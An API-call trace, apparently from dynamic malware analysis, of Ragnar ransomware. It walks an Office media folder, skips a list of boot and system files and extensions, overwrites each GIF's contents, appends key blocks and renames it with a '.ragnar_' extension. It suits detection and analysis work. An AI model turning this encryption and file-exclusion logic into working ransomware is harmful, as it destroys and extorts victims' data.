1 [0097.793] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x137, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.793] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.793] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x137, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.793] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.793] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.793] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.794] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.794] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.794] GetProcessHeap () returned 0x580000 [0097.794] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.794] CloseHandle (hObject=0x10c) returned 1 [0097.794] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" [0097.794] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF.ragnar_FD7BD9FC" [0097.794] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.795] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10268_.GIF", cAlternateFileName="")) returned 1 [0097.795] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.795] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10268_.GIF" | out: lpString1="BD10268_.GIF") returned="BD10268_.GIF" [0097.795] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF") returned=".GIF" [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="autorun.inf") returned 1 [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="boot.ini") returned -1 [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="bootfont.bin") returned -1 [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="bootsect.bak") returned -1 [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="bootmgr") returned -1 [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="bootmgr.efi") returned -1 [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="desktop.ini") returned -1 [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="iconcache.db") returned -1 [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="ntldr") returned -1 [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="ntuser.dat") returned -1 [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="ntuser.ini") returned -1 [0097.795] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="thumbs.db") returned -1 [0097.795] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.795] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.795] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.795] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.795] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.795] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.795] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif")) returned 0x20 [0097.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.796] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=177) returned 1 [0097.796] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.796] GetProcessHeap () returned 0x580000 [0097.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.796] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.797] VirtualAlloc (lpAddress=0x0, dwSize=0xb1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.797] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.797] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.797] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb1, lpOverlapped=0x0) returned 1 [0097.797] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.797] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb1, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.797] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb1, lpOverlapped=0x0) returned 1 [0097.797] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.797] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.798] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.798] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.798] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.798] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.798] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.798] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.798] GetProcessHeap () returned 0x580000 [0097.798] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.798] CloseHandle (hObject=0x10c) returned 1 [0097.798] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" [0097.798] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF.ragnar_FD7BD9FC" [0097.798] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.854] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10297_.GIF", cAlternateFileName="")) returned 1 [0097.854] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.854] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10297_.GIF" | out: lpString1="BD10297_.GIF") returned="BD10297_.GIF" [0097.855] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF") returned=".GIF" [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="autorun.inf") returned 1 [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="boot.ini") returned -1 [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="bootfont.bin") returned -1 [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="bootsect.bak") returned -1 [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="bootmgr") returned -1 [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="bootmgr.efi") returned -1 [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="desktop.ini") returned -1 [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="iconcache.db") returned -1 [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="ntldr") returned -1 [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="ntuser.dat") returned -1 [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="ntuser.ini") returned -1 [0097.855] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="thumbs.db") returned -1 [0097.855] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.855] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.855] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.855] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.855] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.855] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.855] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif")) returned 0x20 [0097.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.857] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1131) returned 1 [0097.857] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x462, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.857] GetProcessHeap () returned 0x580000 [0097.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.857] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.879] VirtualAlloc (lpAddress=0x0, dwSize=0x46b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.879] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.879] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.879] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x46b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x46b, lpOverlapped=0x0) returned 1 [0097.881] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.881] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x46b, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.881] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x46b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x46b, lpOverlapped=0x0) returned 1 [0097.881] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x46b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.881] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.881] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x46b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.882] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.882] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.882] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.882] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.882] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.882] GetProcessHeap () returned 0x580000 [0097.882] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.882] CloseHandle (hObject=0x10c) returned 1 [0097.882] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" [0097.882] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF.ragnar_FD7BD9FC" [0097.882] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.883] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10298_.GIF", cAlternateFileName="")) returned 1 [0097.883] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.883] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10298_.GIF" | out: lpString1="BD10298_.GIF") returned="BD10298_.GIF" [0097.883] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF") returned=".GIF" [0097.883] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.883] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="autorun.inf") returned 1 [0097.883] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="boot.ini") returned -1 [0097.884] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="bootfont.bin") returned -1 [0097.884] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="bootsect.bak") returned -1 [0097.884] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="bootmgr") returned -1 [0097.884] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="bootmgr.efi") returned -1 [0097.884] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.884] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="desktop.ini") returned -1 [0097.884] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="iconcache.db") returned -1 [0097.884] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="ntldr") returned -1 [0097.884] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="ntuser.dat") returned -1 [0097.884] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.884] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="ntuser.ini") returned -1 [0097.884] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="thumbs.db") returned -1 [0097.884] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.884] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.884] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.884] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.884] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.884] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.884] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif")) returned 0x20 [0097.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.886] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1127) returned 1 [0097.886] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x45e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.886] GetProcessHeap () returned 0x580000 [0097.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.886] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.907] VirtualAlloc (lpAddress=0x0, dwSize=0x467, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.907] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.907] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.907] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x467, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x467, lpOverlapped=0x0) returned 1 [0097.907] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.907] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x467, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.907] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x467, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x467, lpOverlapped=0x0) returned 1 [0097.907] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x467, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.907] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.908] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x467, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.908] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, 